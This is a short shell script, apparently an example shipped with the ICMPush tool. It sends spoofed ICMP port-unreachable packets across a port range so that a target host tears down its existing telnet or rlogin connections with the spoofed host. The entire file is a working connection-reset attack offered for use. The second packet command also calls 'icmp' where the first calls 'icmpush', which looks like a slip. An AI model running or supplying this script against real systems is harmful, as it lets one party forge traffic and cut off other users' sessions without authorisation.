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#!/bin/sh
#
# Nasty script to send ICMP packets that verifies the returned
# values from the ICMPush program :)
# In this case to reset an existing rlogin or telnet connection.
#
# Example:
#
# ./try_reset LDG01 10.76.37.37 1200 2500
#
# This example send ICMP Unreach packets with source of LDG01 to 10.76.37.37
# saying that the ports from 1200 to 2500 of LDG01 are unreachables.
# This could make that the host 10.76.37.37 reset the connection of his
# telnet port(23) or rlogin port(513) with the host LDG01 range port 1200-2500
# Of course, the reset of an existing TCP connection caused by an ICMP
# Unreach depends on the implementation of the TCP/IP stack of the host that
# receives the ICMP.
#
#
if [ "$#" = 4 ]; then
for i in `cuenta $3 $4`
do
icmpush -du -sp $1 -c port-unreach -prot tcp -psrc 23 -pdst $i $2 1> /dev/null 2>&1
case $? in
0) echo "ICMP packet sent to host $2" ;;
2) echo "ICMP protocol not exists in /etc/protocols" ; exit ;;
11) echo "Spoof host $1 incorrect (name or IP address)" ; exit ;;
13) echo "Destination host $2 incorrect (name or IP address)" ; exit ;;
*) echo "Error while trying to send an ICMP packet to host $2" ;;
esac
icmp -du -sp $1 -c port-unreach -prot tcp -psrc 513 -pdst $i $2 1> /dev/null 2>&1
case $? in
0) echo "ICMP packet sent to host $2" ;;
2) echo "ICMP protocol not exists in /etc/protocols" ; exit ;;
11) echo "Spoof host $1 incorrect (name or IP address)" ; exit ;;
13) echo "Destination host $2 incorrect (name or IP address)" ; exit ;;
*) echo "Error while trying to send an ICMP packet to host $2" ;;
esac
done
else
echo "Use: $0 source_host destination_host begin_port end_port"
exit;
fi
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